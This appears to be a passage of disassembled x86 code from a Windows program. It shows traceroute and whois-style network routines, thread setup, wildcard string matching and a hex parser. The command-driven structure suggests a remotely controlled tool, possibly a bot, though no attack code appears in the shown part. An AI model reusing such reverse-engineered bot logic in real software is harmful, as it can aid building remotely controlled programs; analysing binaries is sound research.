loc_409E24: ; CODE XREF: sub_409DD0+4Bj
push offset aIcmpcreatefile ; "IcmpCreateFile"
push dword_41E300
call ds:dword_417058 ; GetProcAddress
mov dword_41E2FC, eax
push offset aIcmpsendecho ; "IcmpSendEcho"
push dword_41E300
call ds:dword_417058 ; GetProcAddress
mov dword_41E308, eax
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push dword_41E300
call ds:dword_417058 ; GetProcAddress
mov dword_41E304, eax
mov byte_41E310, 1
loc_409E6D: ; CODE XREF: sub_409DD0+32j
cmp dword_41E2FC, 0
jnz short loc_409E7D
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_409E7D: ; CODE XREF: sub_409DD0+A4j
cmp dword_41E308, 0
jnz short loc_409E8D
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_409E8D: ; CODE XREF: sub_409DD0+B4j
cmp dword_41E304, 0
jnz short loc_409E9D
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_409E9D: ; CODE XREF: sub_409DD0+C4j
lea eax, [ebp+var_10D]
mov [ebp+var_2B8], eax
push [ebp+var_2B8]
call ds:dword_417244 ; inet_addr
mov [ebp+var_2BC], eax
cmp [ebp+var_2BC], 0FFFFFFFFh
jnz short loc_409F18
push [ebp+var_2B8]
call ds:dword_41723C ; gethostbyname
mov [ebp+var_2C0], eax
cmp [ebp+var_2C0], 0
jz short loc_409F06
mov eax, [ebp+var_2C0]
movsx eax, word ptr [eax+0Ah]
push eax
mov eax, [ebp+var_2C0]
mov eax, [eax+0Ch]
push dword ptr [eax]
lea eax, [ebp+var_2BC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
jmp short loc_409F18
; ---------------------------------------------------------------------------
loc_409F06: ; CODE XREF: sub_409DD0+10Dj
push offset aCouldNotResolv ; "Could not resolve name"
call sub_416DD8 ; printf
pop ecx
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_409F18: ; CODE XREF: sub_409DD0+F2j
; sub_409DD0+134j
and [ebp+var_4], 0
mov byte ptr [ebp+var_2B4], 1
jmp short loc_409F33
; ---------------------------------------------------------------------------
loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj
mov al, byte ptr [ebp+var_2B4]
add al, 1
mov byte ptr [ebp+var_2B4], al
loc_409F33: ; CODE XREF: sub_409DD0+153j
movzx eax, byte ptr [ebp+var_2B4]
movzx ecx, [ebp+var_D]
cmp eax, ecx
jg loc_40A1A1
cmp [ebp+var_4], 0
jnz loc_40A1A1
and [ebp+var_2EC], 0
or [ebp+var_2E4], 0FFFFFFFFh
and [ebp+var_2E0], 0
and [ebp+var_2DC], 0
and [ebp+var_2D0], 0
and [ebp+var_2C8], 0
and [ebp+var_2CC], 0
and [ebp+var_2D8], 0
and [ebp+var_2D4], 0
jmp short loc_409F9E
; ---------------------------------------------------------------------------
loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej
mov eax, [ebp+var_2D4]
inc eax
mov [ebp+var_2D4], eax
loc_409F9E: ; CODE XREF: sub_409DD0+1BFj
mov eax, [ebp+var_2D4]
cmp eax, [ebp+var_8]
jnb loc_40A053
cmp [ebp+var_2D8], 0
jnz loc_40A053
push 20h
push [ebp+var_C]
push [ebp+var_2B4]
lea eax, [ebp+var_2CC]
push eax
push [ebp+var_2BC]
call sub_409CB1
add esp, 14h
test eax, eax
jz short loc_40A047
cmp [ebp+var_2CC], 0
jnz short loc_40A02F
mov eax, [ebp+var_2D0]
add eax, [ebp+var_2C4]
mov [ebp+var_2D0], eax
mov eax, [ebp+var_2C4]
cmp eax, [ebp+var_2E4]
jnb short loc_40A013
mov eax, [ebp+var_2C4]
mov [ebp+var_2E4], eax
loc_40A013: ; CODE XREF: sub_409DD0+235j
mov eax, [ebp+var_2C4]
cmp eax, [ebp+var_2DC]
jbe short loc_40A02D
mov eax, [ebp+var_2C4]
mov [ebp+var_2DC], eax
loc_40A02D: ; CODE XREF: sub_409DD0+24Fj
jmp short loc_40A045
; ---------------------------------------------------------------------------
loc_40A02F: ; CODE XREF: sub_409DD0+215j
mov eax, [ebp+var_2CC]
mov [ebp+var_2EC], eax
mov [ebp+var_2D8], 1
loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj
jmp short loc_40A04E
; ---------------------------------------------------------------------------
loc_40A047: ; CODE XREF: sub_409DD0+20Cj
xor eax, eax
jmp locret_40A1A3
; ---------------------------------------------------------------------------
loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j
jmp loc_409F91
; ---------------------------------------------------------------------------
loc_40A053: ; CODE XREF: sub_409DD0+1D7j
; sub_409DD0+1E4j
mov eax, [ebp+var_2C8]
mov [ebp+var_2E8], eax
cmp [ebp+var_2EC], 0
jnz short loc_40A07B
mov eax, [ebp+var_2D0]
xor edx, edx
div [ebp+var_8]
mov [ebp+var_2E0], eax
jmp short loc_40A090
; ---------------------------------------------------------------------------
loc_40A07B: ; CODE XREF: sub_409DD0+296j
and [ebp+var_2E4], 0
and [ebp+var_2E0], 0
and [ebp+var_2DC], 0
loc_40A090: ; CODE XREF: sub_409DD0+2A9j
cmp [ebp+var_2EC], 0
jnz loc_40A165
push 2
push 4
lea eax, [ebp+var_2E8]
push eax
call ds:dword_417220 ; gethostbyaddr
mov [ebp+var_2F0], eax
cmp [ebp+var_2F0], 0
jz short loc_40A115
movzx eax, byte ptr [ebp+var_2E8+3]
push eax
movzx eax, byte ptr [ebp+var_2E8+2]
push eax
movzx eax, byte ptr [ebp+var_2E8+1]
push eax
movzx eax, byte ptr [ebp+var_2E8]
push eax
mov eax, [ebp+var_2F0]
push dword ptr [eax]
push [ebp+var_2DC]
push [ebp+var_2E0]
push [ebp+var_2E4]
movzx eax, byte ptr [ebp+var_2B4]
push eax
push offset dword_419594
lea eax, [ebp+var_2B0]
push eax
call sub_40D53F
add esp, 2Ch
jmp short loc_40A163
; ---------------------------------------------------------------------------
loc_40A115: ; CODE XREF: sub_409DD0+2EBj
movzx eax, byte ptr [ebp+var_2E8+3]
push eax
movzx eax, byte ptr [ebp+var_2E8+2]
push eax
movzx eax, byte ptr [ebp+var_2E8+1]
push eax
movzx eax, byte ptr [ebp+var_2E8]
push eax
push [ebp+var_2DC]
push [ebp+var_2E0]
push [ebp+var_2E4]
movzx eax, byte ptr [ebp+var_2B4]
push eax
push offset dword_419568
lea eax, [ebp+var_2B0]
push eax
call sub_40D53F
add esp, 28h
loc_40A163: ; CODE XREF: sub_409DD0+343j
jmp short loc_40A187
; ---------------------------------------------------------------------------
loc_40A165: ; CODE XREF: sub_409DD0+2C7j
push [ebp+var_2EC]
movzx eax, byte ptr [ebp+var_2B4]
push eax
push offset dword_419540
lea eax, [ebp+var_2B0]
push eax
call sub_40D53F
add esp, 10h
loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j
mov eax, [ebp+var_2BC]
cmp eax, [ebp+var_2E8]
jnz short loc_40A19C
mov [ebp+var_4], 1
loc_40A19C: ; CODE XREF: sub_409DD0+3C3j
jmp loc_409F25
; ---------------------------------------------------------------------------
loc_40A1A1: ; CODE XREF: sub_409DD0+170j
; sub_409DD0+17Aj
xor eax, eax
locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj
; sub_409DD0+A8j ...
leave
retn 4
sub_409DD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
cmp [ebp+arg_4], 0
jnz short loc_40A1C7
push offset unk_419618
push [ebp+arg_0]
call sub_40D53F
pop ecx
pop ecx
jmp locret_40A2D0
; ---------------------------------------------------------------------------
loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj
push 2ACh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40A1E0
jmp locret_40A2D0
; ---------------------------------------------------------------------------
loc_40A1E0: ; CODE XREF: sub_40A1A7+32j
push 1A3h
push [ebp+arg_0]
push [ebp+var_4]
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 1A3h
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
cmp [ebp+arg_8], 0
jz short loc_40A22A
push [ebp+arg_8]
call sub_416B9C ; atoi
pop ecx
cmp eax, 0FFh
jg short loc_40A22A
push [ebp+arg_8]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_10], eax
jmp short loc_40A231
; ---------------------------------------------------------------------------
loc_40A22A: ; CODE XREF: sub_40A1A7+63j
; sub_40A1A7+73j
mov [ebp+var_10], 1Eh
loc_40A231: ; CODE XREF: sub_40A1A7+81j
mov eax, [ebp+var_4]
mov cl, byte ptr [ebp+var_10]
mov [eax+2A3h], cl
cmp [ebp+arg_C], 0
jz short loc_40A261
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
cmp eax, 927C0h
jg short loc_40A261
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_14], eax
jmp short loc_40A268
; ---------------------------------------------------------------------------
loc_40A261: ; CODE XREF: sub_40A1A7+9Aj
; sub_40A1A7+AAj
mov [ebp+var_14], 7530h
loc_40A268: ; CODE XREF: sub_40A1A7+B8j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_14]
mov [eax+2A4h], ecx
cmp [ebp+arg_10], 0
jz short loc_40A288
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_18], eax
jmp short loc_40A28F
; ---------------------------------------------------------------------------
loc_40A288: ; CODE XREF: sub_40A1A7+D1j
mov [ebp+var_18], 3
loc_40A28F: ; CODE XREF: sub_40A1A7+DFj
mov eax, [ebp+var_4]
mov ecx, [ebp+var_18]
mov [eax+2A8h], ecx
lea eax, [ebp+var_C]
push eax
push 0
push [ebp+var_4]
push offset sub_409DD0
push 0
push 0
call ds:dword_4170B4 ; CreateThread
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40A2C7
push [ebp+var_4]
call sub_416B4C ; free
pop ecx
jmp short locret_40A2D0
; ---------------------------------------------------------------------------
loc_40A2C7: ; CODE XREF: sub_40A1A7+113j
push [ebp+var_8]
call ds:dword_4170A4 ; CloseHandle
locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj
; sub_40A1A7+34j ...
leave
retn
sub_40A1A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = byte ptr -1114h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 111Ch
call sub_416BC0
mov eax, [ebp+arg_0]
add eax, 4
push eax
mov eax, [ebp+arg_0]
add eax, 104h
push eax
mov eax, [ebp+arg_0]
mov eax, [eax]
push dword ptr [eax]
push offset dword_41966C
mov eax, [ebp+arg_0]
add eax, 204h
push eax
call sub_40D53F
add esp, 14h
push 2710h
push 0
push offset a43 ; "43"
mov eax, [ebp+arg_0]
add eax, 104h
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40A339
xor al, al
jmp locret_40A4A2
; ---------------------------------------------------------------------------
loc_40A339: ; CODE XREF: sub_40A2D2+5Ej
mov eax, [ebp+arg_0]
add eax, 4
push eax
push offset aS_1 ; "%s\r\n"
lea eax, [ebp+var_114]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 0Ch
lea eax, [ebp+var_114]
push eax
call sub_416B40 ; strlen
pop ecx
inc eax
push eax
lea eax, [ebp+var_114]
push eax
push [ebp+var_8]
call sub_4053BF
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40A38F
push [ebp+var_8]
call sub_40538D
pop ecx
xor al, al
jmp locret_40A4A2
; ---------------------------------------------------------------------------
loc_40A38F: ; CODE XREF: sub_40A2D2+ABj
push 1000h
lea eax, [ebp+var_1114]
push eax
push [ebp+var_8]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_40A3B5
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_40A3C5
loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj
push [ebp+var_8]
call sub_40538D
pop ecx
xor al, al
jmp locret_40A4A2
; ---------------------------------------------------------------------------
loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j
lea eax, [ebp+var_1114]
mov [ebp+var_10], eax
loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j
mov eax, [ebp+var_10]
mov [ebp+var_111C], eax
mov eax, [ebp+var_111C]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A3E9
jmp loc_40A497
; ---------------------------------------------------------------------------
loc_40A3E9: ; CODE XREF: sub_40A2D2+110j
push [ebp+var_111C]
call sub_407B5E
pop ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_111C]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_40A41B
push offset dword_418F4C
push [ebp+var_111C]
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40A442
loc_40A41B: ; CODE XREF: sub_40A2D2+131j
mov eax, [ebp+var_111C]
lea ecx, [ebp+var_1114]
cmp eax, ecx
jz short loc_40A440
push offset dword_41965C
mov eax, [ebp+arg_0]
add eax, 204h
push eax
call sub_40D53F
pop ecx
pop ecx
loc_40A440: ; CODE XREF: sub_40A2D2+157j
jmp short loc_40A458
; ---------------------------------------------------------------------------
loc_40A442: ; CODE XREF: sub_40A2D2+147j
push [ebp+var_111C]
mov eax, [ebp+arg_0]
add eax, 204h
push eax
call sub_40D53F
pop ecx
pop ecx
loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j
push 3E8h
call ds:dword_41709C ; Sleep
push offset dword_41E2D8
call sub_409C6C
pop ecx
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax+4]
mov [ebp+var_1118], eax
push offset dword_41E2D8
call sub_409C7A
pop ecx
cmp [ebp+var_1118], 0
jz short loc_40A492
jmp short loc_40A497
; ---------------------------------------------------------------------------
loc_40A492: ; CODE XREF: sub_40A2D2+1BCj
jmp loc_40A3CE
; ---------------------------------------------------------------------------
loc_40A497: ; CODE XREF: sub_40A2D2+112j
; sub_40A2D2+1BEj
push [ebp+var_8]
call sub_40538D
pop ecx
mov al, 1
locret_40A4A2: ; CODE XREF: sub_40A2D2+62j
; sub_40A2D2+B8j ...
leave
retn
sub_40A2D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o
var_3A8 = dword ptr -3A8h
var_2A4 = byte ptr -2A4h
var_1A4 = byte ptr -1A4h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3A8h
push 3A7h
push [ebp+arg_0]
lea eax, [ebp+var_3A8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_3A8]
push eax
call sub_40A2D2
pop ecx
movzx eax, al
test eax, eax
jnz short loc_40A4FC
lea eax, [ebp+var_2A4]
push eax
push offset dword_419698
lea eax, [ebp+var_1A4]
push eax
call sub_40D53F
add esp, 0Ch
loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj
push [ebp+var_3A8]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_40A4A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
jnz short loc_40A51D
jmp locret_40A5BC
; ---------------------------------------------------------------------------
loc_40A51D: ; CODE XREF: sub_40A50E+8j
push 3A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40A536
jmp locret_40A5BC
; ---------------------------------------------------------------------------
loc_40A536: ; CODE XREF: sub_40A50E+21j
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
cmp [ebp+arg_8], 0
jz short loc_40A562
push [ebp+arg_8]
mov eax, [ebp+var_4]
add eax, 104h
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_40A586
; ---------------------------------------------------------------------------
loc_40A562: ; CODE XREF: sub_40A50E+3Dj
push offset dword_4196D4
mov eax, [ebp+var_4]
add eax, 104h
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov eax, [ebp+var_4]
add eax, 104h
push eax
call sub_4105FB
pop ecx
loc_40A586: ; CODE XREF: sub_40A50E+52j
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 204h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_4196B4
push 0
push [ebp+var_4]
push offset sub_40A4A4
call sub_4095A4
add esp, 18h
locret_40A5BC: ; CODE XREF: sub_40A50E+Aj
; sub_40A50E+23j
leave
retn
sub_40A50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p
; sub_40A5BE+70p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A603
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A5DD
mov al, 1
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A5DD: ; CODE XREF: sub_40A5BE+16j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 2Ah
jnz short loc_40A5FC
mov eax, [ebp+arg_4]
inc eax
push eax
push [ebp+arg_0]
call sub_40A5BE
pop ecx
pop ecx
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A5FC: ; CODE XREF: sub_40A5BE+28j
xor al, al
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A603: ; CODE XREF: sub_40A5BE+Cj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A614
xor al, al
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A614: ; CODE XREF: sub_40A5BE+4Dj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_4]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_40A63A
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A5BE
pop ecx
pop ecx
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A63A: ; CODE XREF: sub_40A5BE+64j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 3Fh
jnz short loc_40A65B
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A5BE
pop ecx
pop ecx
jmp locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A65B: ; CODE XREF: sub_40A5BE+85j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40A69E
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 30h
jl short loc_40A67C
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 39h
jle short loc_40A687
loc_40A67C: ; CODE XREF: sub_40A5BE+B1j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40A69A
loc_40A687: ; CODE XREF: sub_40A5BE+BCj
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A5BE
pop ecx
pop ecx
jmp short locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A69A: ; CODE XREF: sub_40A5BE+C7j
xor al, al
jmp short locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A69E: ; CODE XREF: sub_40A5BE+A6j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 2Ah
jnz short loc_40A6E7
and [ebp+var_4], 0
jmp short loc_40A6B6
; ---------------------------------------------------------------------------
loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
push eax
call sub_40A5BE
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_40A6D4
mov al, 1
jmp short locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A6D4: ; CODE XREF: sub_40A5BE+110j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A6E5
xor al, al
jmp short locret_40A6E9
; ---------------------------------------------------------------------------
loc_40A6E5: ; CODE XREF: sub_40A5BE+121j
jmp short loc_40A6AF
; ---------------------------------------------------------------------------
loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j
xor al, al
locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj
; sub_40A5BE+39j ...
leave
retn
sub_40A5BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap
; sub_4098F3+155p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A730
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A70A
mov al, 1
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A70A: ; CODE XREF: sub_40A6EB+16j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 2Ah
jnz short loc_40A729
mov eax, [ebp+arg_4]
inc eax
push eax
push [ebp+arg_0]
call sub_40A6EB
pop ecx
pop ecx
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A729: ; CODE XREF: sub_40A6EB+28j
xor al, al
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A730: ; CODE XREF: sub_40A6EB+Cj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A741
xor al, al
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A741: ; CODE XREF: sub_40A6EB+4Dj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_4]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_40A767
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A6EB
pop ecx
pop ecx
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A767: ; CODE XREF: sub_40A6EB+64j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 41h
jl short loc_40A77D
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 5Ah
jle short loc_40A793
loc_40A77D: ; CODE XREF: sub_40A6EB+85j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 61h
jl short loc_40A7BC
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 7Ah
jg short loc_40A7BC
loc_40A793: ; CODE XREF: sub_40A6EB+90j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
xor eax, 20h
mov ecx, [ebp+arg_4]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_40A7BC
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A6EB
pop ecx
pop ecx
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj
; sub_40A6EB+A6j ...
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 3Fh
jnz short loc_40A7DD
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A6EB
pop ecx
pop ecx
jmp locret_40A86B
; ---------------------------------------------------------------------------
loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40A820
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 30h
jl short loc_40A7FE
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 39h
jle short loc_40A809
loc_40A7FE: ; CODE XREF: sub_40A6EB+106j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40A81C
loc_40A809: ; CODE XREF: sub_40A6EB+111j
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
inc eax
push eax
call sub_40A6EB
pop ecx
pop ecx
jmp short locret_40A86B
; ---------------------------------------------------------------------------
loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj
xor al, al
jmp short locret_40A86B
; ---------------------------------------------------------------------------
loc_40A820: ; CODE XREF: sub_40A6EB+FBj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 2Ah
jnz short loc_40A869
and [ebp+var_4], 0
jmp short loc_40A838
; ---------------------------------------------------------------------------
loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40A838: ; CODE XREF: sub_40A6EB+144j
mov eax, [ebp+arg_4]
inc eax
push eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
push eax
call sub_40A6EB
pop ecx
pop ecx
movzx eax, al
test eax, eax
jz short loc_40A856
mov al, 1
jmp short locret_40A86B
; ---------------------------------------------------------------------------
loc_40A856: ; CODE XREF: sub_40A6EB+165j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40A867
xor al, al
jmp short locret_40A86B
; ---------------------------------------------------------------------------
loc_40A867: ; CODE XREF: sub_40A6EB+176j
jmp short loc_40A831
; ---------------------------------------------------------------------------
loc_40A869: ; CODE XREF: sub_40A6EB+13Ej
xor al, al
locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj
; sub_40A6EB+39j ...
leave
retn
sub_40A6EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov [ebp+var_4], 1
cmp [ebp+arg_4], 0
jnz short loc_40A884
push 1
pop eax
jmp short locret_40A8AB
; ---------------------------------------------------------------------------
loc_40A884: ; CODE XREF: sub_40A86D+10j
mov [ebp+var_8], 1
jmp short loc_40A894
; ---------------------------------------------------------------------------
loc_40A88D: ; CODE XREF: sub_40A86D+39j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_40A894: ; CODE XREF: sub_40A86D+1Ej
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
loc_40A89A: ; DATA XREF: .data:0041AE78o
; .data:0041AEBCo ...
jg short loc_40A8A8
mov eax, [ebp+var_4]
imul eax, [ebp+arg_0]
mov [ebp+var_4], eax
jmp short loc_40A88D
; ---------------------------------------------------------------------------
loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj
mov eax, [ebp+var_4]
locret_40A8AB: ; CODE XREF: sub_40A86D+15j
leave
retn
sub_40A86D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8AD proc near ; CODE XREF: sub_406509+26p
; sub_40A9CF+193Fp ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push esi
push edi
mov [ebp+var_4], 1
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_20], 0
mov esi, offset aAbcdef ; "abcdef"
lea edi, [ebp+var_1C]
movsd
movsw
movsb
mov eax, [ebp+arg_0]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 30h
jnz short loc_40A90C
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_20]
movsx eax, byte ptr [eax]
cmp eax, 78h
jz short loc_40A905
mov eax, [ebp+arg_0]
add eax, [ebp+var_20]
